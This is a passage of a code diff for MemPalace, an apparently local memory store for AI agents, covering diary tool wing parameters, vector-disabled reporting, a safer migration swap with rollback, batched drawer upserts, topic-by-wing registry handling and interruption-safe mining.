||||
|
||||
|
||||
def tool_check_duplicate(content: str, threshold: float = 0.9):
|
||||
_refresh_vector_disabled_flag()
|
||||
if _vector_disabled:
|
||||
# Without a usable HNSW we can't compute cosine similarity for
|
||||
# near-duplicate detection. Report the limitation rather than
|
||||
# silently returning "not a duplicate" — false negatives here
|
||||
# would let the AI re-file content the palace already holds.
|
||||
return {
|
||||
"is_duplicate": False,
|
||||
"matches": [],
|
||||
"vector_disabled": True,
|
||||
"vector_disabled_reason": _vector_disabled_reason,
|
||||
"hint": (
|
||||
"duplicate detection requires vector search; run `mempalace repair` to restore"
|
||||
),
|
||||
}
|
||||
col = _get_collection()
|
||||
if not col:
|
||||
return _no_palace()
|
||||
@@ -918,10 +1107,10 @@ def tool_kg_stats():
|
||||
# ==================== AGENT DIARY ====================
|
||||
|
||||
|
||||
def tool_diary_write(agent_name: str, entry: str, topic: str = "general"):
|
||||
def tool_diary_write(agent_name: str, entry: str, topic: str = "general", wing: str = ""):
|
||||
"""
|
||||
Write a diary entry for this agent. Each agent gets its own wing
|
||||
with a diary room. Entries are timestamped and accumulate over time.
|
||||
Write a diary entry for this agent. Entries are timestamped and
|
||||
accumulate over time in a diary room.
|
||||
|
||||
This is the agent's personal journal — observations, thoughts,
|
||||
what it worked on, what it noticed, what it thinks matters.
|
||||
@@ -929,10 +1118,14 @@ def tool_diary_write(agent_name: str, entry: str, topic: str = "general"):
|
||||
try:
|
||||
agent_name = sanitize_name(agent_name, "agent_name")
|
||||
entry = sanitize_content(entry)
|
||||
topic = sanitize_name(topic, "topic")
|
||||
except ValueError as e:
|
||||
return {"success": False, "error": str(e)}
|
||||
|
||||
wing = f"wing_{agent_name.lower().replace(' ', '_')}"
|
||||
if wing:
|
||||
wing = sanitize_name(wing)
|
||||
else:
|
||||
wing = f"wing_{agent_name.lower().replace(' ', '_')}"
|
||||
room = "diary"
|
||||
col = _get_collection(create=True)
|
||||
if not col:
|
||||
@@ -987,24 +1180,38 @@ def tool_diary_write(agent_name: str, entry: str, topic: str = "general"):
|
||||
return {"success": False, "error": str(e)}
|
||||
|
||||
|
||||
def tool_diary_read(agent_name: str, last_n: int = 10):
|
||||
def tool_diary_read(agent_name: str, last_n: int = 10, wing: str = ""):
|
||||
"""
|
||||
Read an agent's recent diary entries. Returns the last N entries
|
||||
in chronological order — the agent's personal journal.
|
||||
|
||||
When ``wing`` is provided, reads only from that wing. When ``wing``
|
||||
is empty or omitted, returns entries from every wing this agent has
|
||||
written to. Diary writes from hooks land in project-derived wings
|
||||
(``wing_<project>``), so requiring a specific wing on read would
|
||||
silo those entries from agent-initiated reads.
|
||||
"""
|
||||
try:
|
||||
agent_name = sanitize_name(agent_name, "agent_name")
|
||||
if wing:
|
||||
wing = sanitize_name(wing)
|
||||
except ValueError as e:
|
||||
return {"error": str(e)}
|
||||
last_n = max(1, min(last_n, 100))
|
||||
wing = f"wing_{agent_name.lower().replace(' ', '_')}"
|
||||
col = _get_collection()
|
||||
if not col:
|
||||
return _no_palace()
|
||||
|
||||
# Build filter: always scope by agent + room=diary. Wing is optional —
|
||||
# when empty, return entries across all wings for this agent (matches
|
||||
# the #1097 empty-string-as-no-filter convention for LLM ergonomics).
|
||||
conditions = [{"room": "diary"}, {"agent": agent_name}]
|
||||
if wing:
|
||||
conditions.insert(0, {"wing": wing})
|
||||
|
||||
try:
|
||||
results = col.get(
|
||||
where={"$and": [{"wing": wing}, {"room": "diary"}]},
|
||||
where={"$and": conditions},
|
||||
include=["documents", "metadatas"],
|
||||
limit=10000,
|
||||
)
|
||||
@@ -1122,10 +1329,22 @@ def tool_reconnect():
|
||||
Use after external scripts or CLI commands modify the palace database
|
||||
directly, which can leave the in-memory HNSW index stale.
|
||||
"""
|
||||
global _collection_cache, _palace_db_inode, _palace_db_mtime
|
||||
global \
|
||||
_client_cache, \
|
||||
_collection_cache, \
|
||||
_palace_db_inode, \
|
||||
_palace_db_mtime, \
|
||||
_vector_disabled, \
|
||||
_vector_disabled_reason
|
||||
_client_cache = None
|
||||
_collection_cache = None
|
||||
_palace_db_inode = 0
|
||||
_palace_db_mtime = 0.0
|
||||
# Force probe re-run on next _get_client by clearing the flag now;
|
||||
# _refresh_vector_disabled_flag will re-set it if the divergence
|
||||
# still applies after the reconnect.
|
||||
_vector_disabled = False
|
||||
_vector_disabled_reason = ""
|
||||
try:
|
||||
col = _get_collection()
|
||||
if col is None:
|
||||
@@ -1133,8 +1352,15 @@ def tool_reconnect():
|
||||
"success": False,
|
||||
"message": "No palace found after reconnect",
|
||||
"drawers": 0,
|
||||
"vector_disabled": _vector_disabled,
|
||||
}
|
||||
return {"success": True, "message": "Reconnected to palace", "drawers": col.count()}
|
||||
return {
|
||||
"success": True,
|
||||
"message": "Reconnected to palace",
|
||||
"drawers": col.count(),
|
||||
"vector_disabled": _vector_disabled,
|
||||
"vector_disabled_reason": _vector_disabled_reason,
|
||||
}
|
||||
except Exception as e:
|
||||
return {"success": False, "error": str(e)}
|
||||
|
||||
@@ -1497,6 +1723,10 @@ TOOLS = {
|
||||
"type": "string",
|
||||
"description": "Topic tag (optional, default: general)",
|
||||
},
|
||||
"wing": {
|
||||
"type": "string",
|
||||
"description": "Target wing for this diary entry (optional). If omitted, uses wing_{agent_name}. Use this to write diary entries to a project wing instead of an agent-specific wing.",
|
||||
},
|
||||
},
|
||||
"required": ["agent_name", "entry"],
|
||||
},
|
||||
@@ -1515,6 +1745,10 @@ TOOLS = {
|
||||
"type": "integer",
|
||||
"description": "Number of recent entries to read (default: 10)",
|
||||
},
|
||||
"wing": {
|
||||
"type": "string",
|
||||
"description": "Wing to read diary entries from (optional). If omitted, reads from wing_{agent_name}.",
|
||||
},
|
||||
},
|
||||
"required": ["agent_name"],
|
||||
},
|
||||
@@ -1690,6 +1924,10 @@ def _restore_stdout():
|
||||
def main():
|
||||
_restore_stdout()
|
||||
logger.info("MemPalace MCP Server starting...")
|
||||
# Pre-flight: probe HNSW capacity before any tool call so the warning
|
||||
# is visible at startup rather than on first use (#1222). Pure
|
||||
# filesystem read; never opens a chromadb client.
|
||||
_refresh_vector_disabled_flag()
|
||||
while True:
|
||||
try:
|
||||
line = sys.stdin.readline()
|
||||
|
||||
+41
-3
@@ -18,6 +18,7 @@ Usage:
|
||||
mempalace migrate --dry-run # show what would be migrated
|
||||
"""
|
||||
|
||||
import errno
|
||||
import os
|
||||
import shutil
|
||||
import sqlite3
|
||||
@@ -25,6 +26,26 @@ from collections import defaultdict
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
def _restore_stale_palace(palace_path: str, stale_path: str) -> None:
|
||||
"""Roll back a failed swap.
|
||||
|
||||
shutil.move() can partially create palace_path before raising, which
|
||||
would make a bare os.replace(stale_path, palace_path) fail (dest exists).
|
||||
Clear any partial destination first, then restore. Best-effort: if the
|
||||
restore itself fails, log both paths so the operator can recover by hand.
|
||||
"""
|
||||
try:
|
||||
if os.path.lexists(palace_path):
|
||||
shutil.rmtree(palace_path, ignore_errors=True)
|
||||
os.replace(stale_path, palace_path)
|
||||
except Exception as err:
|
||||
print(
|
||||
f" CRITICAL: rollback failed — original palace at {stale_path}, "
|
||||
f"partial migration data at {palace_path}. Restore manually. "
|
||||
f"({err})"
|
||||
)
|
||||
|
||||
|
||||
def extract_drawers_from_sqlite(db_path: str) -> list:
|
||||
"""Read all drawers directly from ChromaDB's SQLite, bypassing the API.
|
||||
|
||||
@@ -231,10 +252,27 @@ def migrate(palace_path: str, dry_run: bool = False, confirm: bool = False):
|
||||
del col
|
||||
del fresh_backend
|
||||
|
||||
# Swap: remove old palace, move new one into place
|
||||
# Swap: rename old palace aside, then move new one into place.
|
||||
# This avoids a window where both old and new are missing.
|
||||
print(" Swapping old palace for migrated version...")
|
||||
shutil.rmtree(palace_path)
|
||||
shutil.move(temp_palace, palace_path)
|
||||
stale_path = palace_path + ".old"
|
||||
if os.path.exists(stale_path):
|
||||
shutil.rmtree(stale_path)
|
||||
os.replace(palace_path, stale_path)
|
||||
try:
|
||||
os.replace(temp_palace, palace_path)
|
||||
except OSError as e:
|
||||
# EXDEV = temp lives on a different filesystem; fall back to copy+delete.
|
||||
# Anything else is a real error — don't mask it with shutil.move.
|
||||
if getattr(e, "errno", None) != errno.EXDEV:
|
||||
_restore_stale_palace(palace_path, stale_path)
|
||||
raise
|
||||
try:
|
||||
shutil.move(temp_palace, palace_path)
|
||||
except Exception:
|
||||
_restore_stale_palace(palace_path, stale_path)
|
||||
raise
|
||||
shutil.rmtree(stale_path, ignore_errors=True)
|
||||
|
||||
print("\n Migration complete.")
|
||||
print(f" Drawers migrated: {final_count}")
|
||||
|
||||
+481
-85
@@ -9,20 +9,24 @@ Stores verbatim chunks as drawers. No summaries. Ever.
|
||||
|
||||
import os
|
||||
import sys
|
||||
import shlex
|
||||
import hashlib
|
||||
import fnmatch
|
||||
from pathlib import Path
|
||||
from datetime import datetime
|
||||
from collections import defaultdict
|
||||
from typing import Optional
|
||||
|
||||
from .palace import (
|
||||
NORMALIZE_VERSION,
|
||||
SKIP_DIRS,
|
||||
MineAlreadyRunning,
|
||||
build_closet_lines,
|
||||
file_already_mined,
|
||||
get_closets_collection,
|
||||
get_collection,
|
||||
mine_lock,
|
||||
mine_palace_lock,
|
||||
purge_file_closets,
|
||||
upsert_closet_lines,
|
||||
)
|
||||
@@ -52,6 +56,7 @@ READABLE_EXTENSIONS = {
|
||||
}
|
||||
|
||||
SKIP_FILENAMES = {
|
||||
"entities.json",
|
||||
"mempalace.yaml",
|
||||
"mempalace.yml",
|
||||
"mempal.yaml",
|
||||
@@ -63,6 +68,7 @@ SKIP_FILENAMES = {
|
||||
CHUNK_SIZE = 800 # chars per drawer
|
||||
CHUNK_OVERLAP = 100 # overlap between chunks
|
||||
MIN_CHUNK_SIZE = 50 # skip tiny chunks
|
||||
DRAWER_UPSERT_BATCH_SIZE = 1000
|
||||
MAX_FILE_SIZE = 500 * 1024 * 1024 # 500 MB — skip files larger than this.
|
||||
# Long Claude Code sessions and large transcript exports routinely exceed
|
||||
# 10 MB. The cap exists as a defensive rail against pathological binary
|
||||
@@ -280,7 +286,15 @@ def load_config(project_dir: str) -> dict:
|
||||
if legacy_path.exists():
|
||||
config_path = legacy_path
|
||||
else:
|
||||
wing_name = resolved_project_dir.name
|
||||
from .config import normalize_wing_name
|
||||
|
||||
# Normalize the dirname-derived fallback wing the same way
|
||||
# ``cmd_init`` and ``room_detector_local`` do — otherwise a
|
||||
# hyphenated project mined without a yaml file lands under a
|
||||
# raw-name wing while ``topics_by_wing`` was keyed under the
|
||||
# normalized slug, silently dropping every topic tunnel
|
||||
# (the no-yaml branch of issue #1194).
|
||||
wing_name = normalize_wing_name(resolved_project_dir.name)
|
||||
print(
|
||||
f" No mempalace.yaml found in {resolved_project_dir} "
|
||||
f"— using auto-detected defaults (wing='{wing_name}'). "
|
||||
@@ -436,7 +450,16 @@ def _refresh_known_entities_cache() -> None:
|
||||
data = json.load(f)
|
||||
if isinstance(data, dict):
|
||||
raw = data
|
||||
for cat in data.values():
|
||||
for cat_key, cat in data.items():
|
||||
# Special wing-keyed map — its inner values are topic
|
||||
# names but its outer keys are wings, which must NOT be
|
||||
# surfaced as known entities. Pull the topic names out
|
||||
# explicitly instead of treating it as a generic category.
|
||||
if cat_key == "topics_by_wing" and isinstance(cat, dict):
|
||||
for topic_list in cat.values():
|
||||
if isinstance(topic_list, list):
|
||||
names.update(str(n) for n in topic_list if n)
|
||||
continue
|
||||
if isinstance(cat, list):
|
||||
names.update(str(n) for n in cat if n)
|
||||
elif isinstance(cat, dict):
|
||||
@@ -471,6 +494,172 @@ def _load_known_entities_raw() -> dict:
|
||||
return dict(_ENTITY_REGISTRY_CACHE["raw"])
|
||||
|
||||
|
||||
def _set_wing_topics(existing: dict, wing_key: str, topics_for_wing: list, coerce) -> None:
|
||||
"""Update ``existing['topics_by_wing'][wing_key]`` to the deduped list.
|
||||
|
||||
Replaces (does not union) the wing's topic list — re-running ``init``
|
||||
should reflect the user's latest confirmation rather than accumulate
|
||||
stale labels. Empty input drops the wing entry; an empty map drops
|
||||
the ``topics_by_wing`` key entirely.
|
||||
"""
|
||||
topics_map = existing.get("topics_by_wing")
|
||||
if not isinstance(topics_map, dict):
|
||||
topics_map = {}
|
||||
seen_lower: set = set()
|
||||
ordered: list = []
|
||||
for n in topics_for_wing:
|
||||
name = coerce(n)
|
||||
if not name:
|
||||
continue
|
||||
key = name.lower()
|
||||
if key in seen_lower:
|
||||
continue
|
||||
seen_lower.add(key)
|
||||
ordered.append(name)
|
||||
if ordered:
|
||||
topics_map[wing_key] = ordered
|
||||
else:
|
||||
topics_map.pop(wing_key, None)
|
||||
if topics_map:
|
||||
existing["topics_by_wing"] = topics_map
|
||||
else:
|
||||
existing.pop("topics_by_wing", None)
|
||||
|
||||
|
||||
def add_to_known_entities(entities_by_category: dict, wing: str = None) -> str:
|
||||
"""Union ``entities_by_category`` into ``~/.mempalace/known_entities.json``.
|
||||
|
||||
Accepts ``{category: [names]}`` shape as produced by ``mempalace init``
|
||||
and merges into the registry the miner reads at mine time. Existing
|
||||
categories are preserved untouched unless also present in the input;
|
||||
for categories present in both, entries are unioned case-insensitively
|
||||
without changing the on-disk ordering of pre-existing names.
|
||||
|
||||
If a category is stored on-disk as ``{name: code}`` (the alternate
|
||||
miner-supported shape, used by dialect-style configs), new names are
|
||||
added as keys with ``None`` values so existing code mappings aren't
|
||||
overwritten. A later compress pass can assign codes.
|
||||
|
||||
When ``wing`` is provided AND ``entities_by_category`` contains a
|
||||
``topics`` list, those topics are also recorded under
|
||||
``topics_by_wing[wing]`` (case-insensitive dedup, preserving the
|
||||
casing of the first observed name). This is the signal source for
|
||||
``palace_graph.compute_topic_tunnels`` at mine time. Topics for a
|
||||
wing are *replaced*, not unioned, so a re-run of ``init`` reflects
|
||||
the user's latest confirmation rather than accumulating stale labels
|
||||
indefinitely.
|
||||
|
||||
The in-process cache is invalidated on write so same-process callers
|
||||
(notably ``cmd_init`` → ``cmd_mine`` in sequence) see the update
|
||||
immediately instead of waiting for a mtime re-check.
|
||||
|
||||
Returns the registry path as a string for logging.
|
||||
"""
|
||||
import json as _json
|
||||
from pathlib import Path as _Path
|
||||
|
||||
registry_path = _Path(_ENTITY_REGISTRY_PATH)
|
||||
registry_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
existing: dict = {}
|
||||
if registry_path.exists():
|
||||
try:
|
||||
loaded = _json.loads(registry_path.read_text(encoding="utf-8"))
|
||||
if isinstance(loaded, dict):
|
||||
existing = loaded
|
||||
except (_json.JSONDecodeError, OSError):
|
||||
existing = {}
|
||||
|
||||
def _coerce_name(value):
|
||||
if not value:
|
||||
return None
|
||||
name = str(value)
|
||||
return name if name else None
|
||||
|
||||
# Separate the topics_by_wing key from regular categories so we don't
|
||||
# treat it as a flat name-list elsewhere in this function.
|
||||
topics_for_wing = None
|
||||
if wing and isinstance(wing, str) and wing.strip():
|
||||
topics_for_wing = entities_by_category.get("topics") or []
|
||||
|
||||
for category, names in entities_by_category.items():
|
||||
if category == "topics_by_wing":
|
||||
# Reserved key — managed separately below.
|
||||
continue
|
||||
if not isinstance(names, list) or not names:
|
||||
continue
|
||||
current = existing.get(category)
|
||||
if isinstance(current, list):
|
||||
seen_lower = {str(n).lower() for n in current}
|
||||
for n in names:
|
||||
name = _coerce_name(n)
|
||||
if not name:
|
||||
continue
|
||||
if name.lower() not in seen_lower:
|
||||
current.append(name)
|
||||
seen_lower.add(name.lower())
|
||||
elif isinstance(current, dict):
|
||||
seen_lower = {str(name).lower() for name in current}
|
||||
for n in names:
|
||||
name = _coerce_name(n)
|
||||
if not name or name.lower() in seen_lower:
|
||||
continue
|
||||
current[name] = None
|
||||
seen_lower.add(name.lower())
|
||||
else:
|
||||
# Missing or unrecognized shape — seed as a fresh list, deduped
|
||||
seen: set = set()
|
||||
ordered: list = []
|
||||
for n in names:
|
||||
name = _coerce_name(n)
|
||||
if not name:
|
||||
continue
|
||||
key = name.lower()
|
||||
if key in seen:
|
||||
continue
|
||||
seen.add(key)
|
||||
ordered.append(name)
|
||||
existing[category] = ordered
|
||||
|
||||
if topics_for_wing is not None:
|
||||
_set_wing_topics(existing, wing.strip(), topics_for_wing, _coerce_name)
|
||||
|
||||
registry_path.write_text(_json.dumps(existing, indent=2, ensure_ascii=False), encoding="utf-8")
|
||||
try:
|
||||
registry_path.chmod(0o600)
|
||||
except (OSError, NotImplementedError):
|
||||
pass
|
||||
|
||||
# Invalidate in-process cache so later calls in the same run see the write.
|
||||
_ENTITY_REGISTRY_CACHE["mtime"] = None
|
||||
_ENTITY_REGISTRY_CACHE["names"] = frozenset()
|
||||
_ENTITY_REGISTRY_CACHE["raw"] = {}
|
||||
|
||||
return str(registry_path)
|
||||
|
||||
|
||||
def get_topics_by_wing() -> dict:
|
||||
"""Return ``topics_by_wing`` from the global registry as a dict.
|
||||
|
||||
Returns ``{}`` if the registry is missing, malformed, or has no
|
||||
``topics_by_wing`` key. Casing is preserved from disk; callers that
|
||||
need case-insensitive comparison should normalize themselves.
|
||||
"""
|
||||
raw = _load_known_entities_raw()
|
||||
topics_map = raw.get("topics_by_wing")
|
||||
if not isinstance(topics_map, dict):
|
||||
return {}
|
||||
out: dict = {}
|
||||
for wing, topics in topics_map.items():
|
||||
if not isinstance(wing, str) or not wing.strip():
|
||||
continue
|
||||
if isinstance(topics, list):
|
||||
cleaned = [str(t) for t in topics if isinstance(t, str) and t.strip()]
|
||||
if cleaned:
|
||||
out[wing.strip()] = cleaned
|
||||
return out
|
||||
|
||||
|
||||
_HALL_KEYWORDS_CACHE = None
|
||||
|
||||
|
||||
@@ -541,40 +730,62 @@ def _extract_entities_for_metadata(content: str) -> str:
|
||||
return ";".join(capped)
|
||||
|
||||
|
||||
def _build_drawer_metadata(
|
||||
wing: str,
|
||||
room: str,
|
||||
source_file: str,
|
||||
chunk_index: int,
|
||||
agent: str,
|
||||
content: str,
|
||||
source_mtime: Optional[float],
|
||||
) -> dict:
|
||||
"""Build the metadata dict for one drawer without upserting.
|
||||
|
||||
Split out from ``add_drawer`` so ``process_file`` can batch all chunks
|
||||
of a file into a single ``collection.upsert`` — one embedding forward
|
||||
pass per batch instead of per chunk.
|
||||
"""
|
||||
metadata = {
|
||||
"wing": wing,
|
||||
"room": room,
|
||||
"source_file": source_file,
|
||||
"chunk_index": chunk_index,
|
||||
"added_by": agent,
|
||||
"filed_at": datetime.now().isoformat(),
|
||||
"normalize_version": NORMALIZE_VERSION,
|
||||
}
|
||||
if source_mtime is not None:
|
||||
metadata["source_mtime"] = source_mtime
|
||||
metadata["hall"] = detect_hall(content)
|
||||
entities = _extract_entities_for_metadata(content)
|
||||
if entities:
|
||||
metadata["entities"] = entities
|
||||
return metadata
|
||||
|
||||
|
||||
def add_drawer(
|
||||
collection, wing: str, room: str, content: str, source_file: str, chunk_index: int, agent: str
|
||||
):
|
||||
"""Add one drawer to the palace."""
|
||||
"""Add one drawer to the palace.
|
||||
|
||||
Kept for backward compatibility with external callers. In-tree the
|
||||
miner uses ``_build_drawer_metadata`` + a batched ``collection.upsert``
|
||||
to amortize the embedding model's forward-pass cost across chunks.
|
||||
"""
|
||||
drawer_id = f"drawer_{wing}_{room}_{hashlib.sha256((source_file + str(chunk_index)).encode()).hexdigest()[:24]}"
|
||||
try:
|
||||
metadata = {
|
||||
"wing": wing,
|
||||
"room": room,
|
||||
"source_file": source_file,
|
||||
"chunk_index": chunk_index,
|
||||
"added_by": agent,
|
||||
"filed_at": datetime.now().isoformat(),
|
||||
"normalize_version": NORMALIZE_VERSION,
|
||||
}
|
||||
# Store file mtime so we can detect modifications later.
|
||||
try:
|
||||
metadata["source_mtime"] = os.path.getmtime(source_file)
|
||||
except OSError:
|
||||
pass
|
||||
# Tag with hall for graph connectivity within wings
|
||||
metadata["hall"] = detect_hall(content)
|
||||
# Tag with entity names for filterable search
|
||||
entities = _extract_entities_for_metadata(content)
|
||||
if entities:
|
||||
metadata["entities"] = entities
|
||||
collection.upsert(
|
||||
documents=[content],
|
||||
ids=[drawer_id],
|
||||
metadatas=[metadata],
|
||||
)
|
||||
return True
|
||||
except Exception:
|
||||
raise
|
||||
source_mtime = os.path.getmtime(source_file)
|
||||
except OSError:
|
||||
source_mtime = None
|
||||
metadata = _build_drawer_metadata(
|
||||
wing, room, source_file, chunk_index, agent, content, source_mtime
|
||||
)
|
||||
collection.upsert(
|
||||
documents=[content],
|
||||
ids=[drawer_id],
|
||||
metadatas=[metadata],
|
||||
)
|
||||
return True
|
||||
|
||||
|
||||
# =============================================================================
|
||||
@@ -633,19 +844,41 @@ def process_file(
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Batch chunks into bounded upserts so the embedding model sees many
|
||||
# chunks per forward pass without building one huge Chroma/SQLite
|
||||
# request for pathological files. A bad chunk can fail its sub-batch;
|
||||
# that is the deliberate trade-off for amortizing embedding overhead.
|
||||
try:
|
||||
source_mtime = os.path.getmtime(source_file)
|
||||
except OSError:
|
||||
source_mtime = None
|
||||
|
||||
drawers_added = 0
|
||||
for chunk in chunks:
|
||||
added = add_drawer(
|
||||
collection=collection,
|
||||
wing=wing,
|
||||
room=room,
|
||||
content=chunk["content"],
|
||||
source_file=source_file,
|
||||
chunk_index=chunk["chunk_index"],
|
||||
agent=agent,
|
||||
for batch_start in range(0, len(chunks), DRAWER_UPSERT_BATCH_SIZE):
|
||||
batch_docs: list = []
|
||||
batch_ids: list = []
|
||||
batch_metas: list = []
|
||||
for chunk in chunks[batch_start : batch_start + DRAWER_UPSERT_BATCH_SIZE]:
|
||||
drawer_id = f"drawer_{wing}_{room}_{hashlib.sha256((source_file + str(chunk['chunk_index'])).encode()).hexdigest()[:24]}"
|
||||
batch_docs.append(chunk["content"])
|
||||
batch_ids.append(drawer_id)
|
||||
batch_metas.append(
|
||||
_build_drawer_metadata(
|
||||
wing,
|
||||
room,
|
||||
source_file,
|
||||
chunk["chunk_index"],
|
||||
agent,
|
||||
chunk["content"],
|
||||
source_mtime,
|
||||
)
|
||||
)
|
||||
collection.upsert(
|
||||
documents=batch_docs,
|
||||
ids=batch_ids,
|
||||
metadatas=batch_metas,
|
||||
)
|
||||
if added:
|
||||
drawers_added += 1
|
||||
drawers_added += len(batch_docs)
|
||||
|
||||
# Build closet — the searchable index pointing to these drawers.
|
||||
# Purge first: a re-mine (mtime change or normalize_version bump) must
|
||||
@@ -759,23 +992,80 @@ def mine(
|
||||
dry_run: bool = False,
|
||||
respect_gitignore: bool = True,
|
||||
include_ignored: list = None,
|
||||
files: list = None,
|
||||
):
|
||||
"""Mine a project directory into the palace."""
|
||||
"""Mine a project directory into the palace.
|
||||
|
||||
``files`` may optionally be a pre-scanned list of file paths from
|
||||
:func:`scan_project`. When provided, the corpus walk is skipped — the
|
||||
caller (e.g. ``init`` showing a file-count estimate before the mine
|
||||
prompt) avoids walking the tree twice. When ``None`` (the default),
|
||||
``mine`` walks the tree itself just like before.
|
||||
"""
|
||||
|
||||
if dry_run:
|
||||
return _mine_impl(
|
||||
project_dir,
|
||||
palace_path,
|
||||
wing_override=wing_override,
|
||||
agent=agent,
|
||||
limit=limit,
|
||||
dry_run=dry_run,
|
||||
respect_gitignore=respect_gitignore,
|
||||
include_ignored=include_ignored,
|
||||
files=files,
|
||||
)
|
||||
|
||||
try:
|
||||
with mine_palace_lock(palace_path):
|
||||
return _mine_impl(
|
||||
project_dir,
|
||||
palace_path,
|
||||
wing_override=wing_override,
|
||||
agent=agent,
|
||||
limit=limit,
|
||||
dry_run=dry_run,
|
||||
respect_gitignore=respect_gitignore,
|
||||
include_ignored=include_ignored,
|
||||
files=files,
|
||||
)
|
||||
except MineAlreadyRunning:
|
||||
print(
|
||||
f"mempalace: another `mine` is already running against "
|
||||
f"{palace_path} — exiting cleanly.",
|
||||
file=sys.stderr,
|
||||
)
|
||||
return
|
||||
|
||||
|
||||
def _mine_impl(
|
||||
project_dir: str,
|
||||
palace_path: str,
|
||||
wing_override: str = None,
|
||||
agent: str = "mempalace",
|
||||
limit: int = 0,
|
||||
dry_run: bool = False,
|
||||
respect_gitignore: bool = True,
|
||||
include_ignored: list = None,
|
||||
files: list = None,
|
||||
):
|
||||
project_path = Path(project_dir).expanduser().resolve()
|
||||
config = load_config(project_dir)
|
||||
|
||||
wing = wing_override or config["wing"]
|
||||
rooms = config.get("rooms", [{"name": "general", "description": "All project files"}])
|
||||
|
||||
files = scan_project(
|
||||
project_dir,
|
||||
respect_gitignore=respect_gitignore,
|
||||
include_ignored=include_ignored,
|
||||
)
|
||||
if files is None:
|
||||
files = scan_project(
|
||||
project_dir,
|
||||
respect_gitignore=respect_gitignore,
|
||||
include_ignored=include_ignored,
|
||||
)
|
||||
if limit > 0:
|
||||
files = files[:limit]
|
||||
|
||||
from .embedding import describe_device
|
||||
|
||||
print(f"\n{'=' * 55}")
|
||||
print(" MemPalace Mine")
|
||||
print(f"{'=' * 55}")
|
||||
@@ -783,6 +1073,7 @@ def mine(
|
||||
print(f" Rooms: {', '.join(r['name'] for r in rooms)}")
|
||||
print(f" Files: {len(files)}")
|
||||
print(f" Palace: {palace_path}")
|
||||
print(f" Device: {describe_device()}")
|
||||
if dry_run:
|
||||
print(" DRY RUN — nothing will be filed")
|
||||
if not respect_gitignore:
|
||||
@@ -800,37 +1091,136 @@ def mine(
|
||||
|
||||
total_drawers = 0
|
||||
files_skipped = 0
|
||||
files_processed = 0
|
||||
last_file = None
|
||||
room_counts = defaultdict(int)
|
||||
|
||||
for i, filepath in enumerate(files, 1):
|
||||
drawers, room = process_file(
|
||||
filepath=filepath,
|
||||
project_path=project_path,
|
||||
collection=collection,
|
||||
wing=wing,
|
||||
rooms=rooms,
|
||||
agent=agent,
|
||||
dry_run=dry_run,
|
||||
closets_col=closets_col,
|
||||
)
|
||||
if drawers == 0 and not dry_run:
|
||||
files_skipped += 1
|
||||
else:
|
||||
total_drawers += drawers
|
||||
room_counts[room] += 1
|
||||
if not dry_run:
|
||||
print(f" + [{i:4}/{len(files)}] {filepath.name[:50]:50} +{drawers}")
|
||||
try:
|
||||
for i, filepath in enumerate(files, 1):
|
||||
try:
|
||||
drawers, room = process_file(
|
||||
filepath=filepath,
|
||||
project_path=project_path,
|
||||
collection=collection,
|
||||
wing=wing,
|
||||
rooms=rooms,
|
||||
agent=agent,
|
||||
dry_run=dry_run,
|
||||
closets_col=closets_col,
|
||||
)
|
||||
except KeyboardInterrupt:
|
||||
# Re-raise so the outer handler prints the summary; we
|
||||
# capture the last-attempted file via last_file below.
|
||||
last_file = filepath.name
|
||||
raise
|
||||
files_processed = i
|
||||
last_file = filepath.name
|
||||
if drawers == 0 and not dry_run:
|
||||
files_skipped += 1
|
||||
else:
|
||||
total_drawers += drawers
|
||||
room_counts[room] += 1
|
||||
if not dry_run:
|
||||
print(f" + [{i:4}/{len(files)}] {filepath.name[:50]:50} +{drawers}")
|
||||
|
||||
print(f"\n{'=' * 55}")
|
||||
print(" Done.")
|
||||
print(f" Files processed: {len(files) - files_skipped}")
|
||||
print(f" Files skipped (already filed): {files_skipped}")
|
||||
print(f" Drawers filed: {total_drawers}")
|
||||
print("\n By room:")
|
||||
for room, count in sorted(room_counts.items(), key=lambda x: x[1], reverse=True):
|
||||
print(f" {room:20} {count} files")
|
||||
print('\n Next: mempalace search "what you\'re looking for"')
|
||||
print(f"{'=' * 55}\n")
|
||||
if not dry_run:
|
||||
# Cross-wing topic tunnels: after every file in this wing has been
|
||||
# processed, link this wing to any other wing that shares a
|
||||
# confirmed TOPIC label. Out of scope for v1: manifest-dependency
|
||||
# overlap, per-topic allow/deny lists, search-result surfacing.
|
||||
try:
|
||||
tunnels_added = _compute_topic_tunnels_for_wing(wing)
|
||||
if tunnels_added:
|
||||
print(f"\n Topic tunnels: +{tunnels_added} cross-wing link(s)")
|
||||
except Exception as e:
|
||||
# Tunnel computation must never fail a mine — degrade quietly.
|
||||
print(
|
||||
f"\n WARNING: topic tunnel computation skipped — {e}",
|
||||
file=sys.stderr,
|
||||
)
|
||||
|
||||
print(f"\n{'=' * 55}")
|
||||
print(" Done.")
|
||||
print(f" Files processed: {len(files) - files_skipped}")
|
||||
print(f" Files skipped (already filed): {files_skipped}")
|
||||
print(f" Drawers filed: {total_drawers}")
|
||||
print("\n By room:")
|
||||
for room, count in sorted(room_counts.items(), key=lambda x: x[1], reverse=True):
|
||||
print(f" {room:20} {count} files")
|
||||
print('\n Next: mempalace search "what you\'re looking for"')
|
||||
print(f"{'=' * 55}\n")
|
||||
except KeyboardInterrupt:
|
||||
# Idempotent re-mine: deterministic drawer IDs mean already-filed
|
||||
# drawers upsert to the same row on next run, so partial progress
|
||||
# is safe to leave in place. A second Ctrl-C during this print
|
||||
# propagates to the default handler — we don't try to catch
|
||||
# everything.
|
||||
print("\n\n Mine interrupted.")
|
||||
print(f" files_processed: {files_processed}/{len(files)}")
|
||||
print(f" drawers_filed: {total_drawers}")
|
||||
print(f" last_file: {last_file or '<none>'}")
|
||||
print(
|
||||
f"\n Re-run `mempalace mine {shlex.quote(project_dir)}` to resume — "
|
||||
"already-filed drawers are\n upserted idempotently and will not duplicate.\n"
|
||||
)
|
||||
sys.exit(130)
|
||||
finally:
|
||||
# Clean up the hooks-side PID lock if it points at us. Stale
|
||||
# entries already pass _pid_alive() == False on POSIX, but
|
||||
# actively removing the file makes the state observable
|
||||
# (callers can stat it) and avoids accidental PID reuse on
|
||||
# short-lived test runs. Only remove if the file claims our
|
||||
# own PID — never another process's.
|
||||
_cleanup_mine_pid_file()
|
||||
|
||||
|
||||
def _cleanup_mine_pid_file() -> None:
|
||||
"""Remove the global mine PID file if it currently points at us.
|
||||
